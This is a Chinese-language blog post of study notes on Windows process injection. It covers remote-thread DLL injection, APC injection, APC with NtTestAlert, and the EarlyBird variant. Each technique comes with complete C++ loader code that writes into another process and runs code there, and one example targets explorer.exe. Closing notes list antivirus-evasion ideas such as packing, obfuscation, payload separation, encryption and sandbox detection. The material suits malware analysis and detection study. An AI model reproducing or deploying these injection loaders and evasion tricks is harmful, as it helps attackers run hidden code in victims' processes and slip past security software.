常见注入方式学习
远程线程注入(DLL注入)
加载DLL,dllMain执行
- 原理:利用远程线程回调函数执行代码所导致的注入
- 流程:在目标进程中创建远程线程,线程回调函数传参LoadLibrary,传递DLL路径作为回调函数,也就是LoadLibrary的参数。线程执行LoadLibrary后加载DLL并执行。
- 优点: 相对稳定。
- 缺点: 易被检测。
#include <iostream>
#include <windows.h>
#define DLL_PATH L"D:\\Debug\\injectDLL.dll"
// 具体流程:
// 获得目标句柄,申请空间存放变量
// 创建远程线程并记载到目标进程中,线程回调函数调用动态库加载API函数
// 从而执行自定义代码(线程回调函数加载LoadLibiary方式进行的远程线程注入)
int main() {
// 注入流程:
// 得到目标句柄,进行控制(创建线程,并加载自定义DLL)
DWORD dwPid = 0;
scanf_s("%d", &dwPid);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
// 向目标进程申请空间存放路径名
SIZE_T lpNumberOfBytesWritten = 0;
DWORD dwSize = (wcslen(DLL_PATH) + 1) * 2;
LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, lpAddress, DLL_PATH, dwSize, &lpNumberOfBytesWritten);
HANDLE hThread = CreateRemoteThread(
hProcess, NULL, NULL,
(LPTHREAD_START_ROUTINE)LoadLibraryW,
lpAddress, NULL, NULL
);
// 检测调用完毕,释放资源
WaitForSingleObject(hThread, -1);
VirtualFree(lpAddress, dwSize, NULL);
CloseHandle(hThread);
CloseHandle(hProcess);
}
APC注入(内存注入)
线程切换调用异步过程,异步过程回调函数执行
- 原理:APC(Asynchronous Procedure Call)异步过程调用,操作系统支持异步过程调用,允许一个进程向另一个进程的执行上下文中插入一个函数(回调函数)的执行,这种机制通常用于异步通信和处理中断,但它也可以被恶意用于注入代码。
- 流程:向目标进程申请内存空间写入恶意代码,使用系统API注册创建一个异步过程调用对象,关联到目标进程,并将写入的恶意代码的入口点注册为异步过程调用的回调函数。等待异步过程调用触发从而执行恶意代码。
- 优点: 不创建新的进程和线程,而是内存写入,利用目标进程的执行流程来执行写入的恶意代码,因此较难被检测。
- 缺点: 注入的程序必须是多线程,部分程序切换线程上下文并不会触发异步过程调用,并且由于异步过程调用的执行依赖于目标进程的上下文切换和调度,可能存在稳定性问题,导致注入失败。
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
// 具体流程:
// 申请空间将恶意代码写入,注册APC对象,设置回调函数为恶意代码入口
// 通过进程名->进程ID->遍历进程线程->插入APC->等待执行
DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
return 0;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof pe;
if (Process32First(hSnapshot, &pe))
{
do {
if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
{
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return 0;
}
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId)
{
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;
// 获取线程快照
::RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
// 获取第一条线程快照信息
bRet = ::Thread32First(hSnapshot, &te32);
while (bRet)
{
// 获取进程对应的线程ID
if (te32.th32OwnerProcessID == dwProcessId)
{
return te32.th32ThreadID;
}
// 遍历下一个线程快照信息
bRet = ::Thread32Next(hSnapshot, &te32);
}
return 0;
}
int main() {
FARPROC pLoadLibrary = NULL;
HANDLE hThread = NULL;
HANDLE hProcess = 0;
DWORD Threadid = 0;
DWORD ProcessId = 0;
BYTE DllName[] = "C:\\Users\\Black Sheep\\source\\repos\\ApcInject\\x64\\Debug\\TestDll.dll";
LPVOID AllocAddr = NULL;
ProcessId = GetProcessIdByName(L"explorer.exe");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, ProcessId);
pLoadLibrary = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
AllocAddr = VirtualAllocEx(hProcess, 0, sizeof(DllName) + 1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, AllocAddr, DllName, sizeof(DllName) + 1, 0);
Threadid = GetAllThreadIdByProcessId(ProcessId);
hThread = OpenThread(THREAD_ALL_ACCESS, 0, Threadid);
QueueUserAPC((PAPCFUNC)pLoadLibrary, hThread, (ULONG_PTR)AllocAddr);
CloseHandle(hProcess);
CloseHandle(hThread);
return 0;
}
APC & NtTestAlert Code Execute
利用线程初始化时会调用ntdll中的NtTestAlert函数执行清空APC队列,从而执行提前注入好的恶意代码。
优点:解决了APC注入恶意带是否执行及执行时间的不确定性.
缺点:emmm
#include <Windows.h>
#include<stdio.h>
char shellcode[]="";
typedef VOID(NTAPI* pNtTestAlert)(VOID);
//具体流程:申请空间写入恶意代码,获取线程ID插入APC,调用NtTestAlert(注:这里是当前进程线程示例)
int main() {
pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert");
LPVOID lpBaseAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(lpBaseAddress, shellcode, sizeof(shellcode));
QueueUserAPC((PAPCFUNC)lpBaseAddress, GetCurrentThread(), NULL);
NtTestAlert();
return 0;
}
APC注入变种 - EarlyBird
EarlyBird是APC注入和线程劫持结合的变种,利用的是线程初始化时会调用ntdll中的NtTestAlert函数执行清空APC队列,从而执行提前注入好的恶意代码。
优点:解决了APC注入恶意带是否执行及执行时间的不确定性,并且先于进程入口点提前拿到控制权,可以用来过进程内检测。
缺点:需要创建挂起的进程(一般需要为合法/白名单进程),可能会被检测
#include <Windows.h>
#include <iostream>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char shellcode[] = "";
// 具体流程:创建挂起进程获得主线程ID,申请空间写入恶意代码,插入APC,调用
int main()
{
LPCSTR lpApplication = "C:\\Windows\\notepad.exe";//32位机器notepad的位置
SIZE_T shellcodeLen = sizeof(shellcode);
STARTUPINFO sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 };
CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)&sInfo, &pInfo);
HANDLE hProc = pInfo.hProcess;
HANDLE hThread = pInfo.hThread;
LPVOID lpvShellAddress = VirtualAllocEx(hProc, NULL, shellcodeLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress;
WriteProcessMemory(hProc, lpvShellAddress, shellcode, shellcodeLen, NULL);
QueueUserAPC(PAPCFUNC(ptApcRoutine), hThread, NULL);
ResumeThread(hThread);
return 0;
}
SetWindowHook注入(事件-消息 钩子)
IAT-HOOK注入
参考文章:未完待续。。。
- https://bbs.kanxue.com/thread-227075.htm#msg_header_h1_0
- https://blog.csdn.net/liuhaidon1992/article/details/103816227
- https://xz.aliyun.com/t/10318#toc-13
- https://idiotc4t.com/code-and-dll-process-injection/apc-and-nttestalert-code-execute
关于免杀的一点思路
静态检测 - 基于特征码、白名单签名
- 加壳
- 混淆截断
- 分离免杀
- 加密算法加密
- 无法解壳时大多时候会报毒,(白名单除外)
动态检测 - 沙箱检测
- 沙箱角度:检测沙箱,沙箱漏洞利用
- 病毒自身:延长伪装时间
本文作者:牛奶雪碧冰淇淋
本文链接:https://www.cnblogs.com/sumiceBlog/p/17638690.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步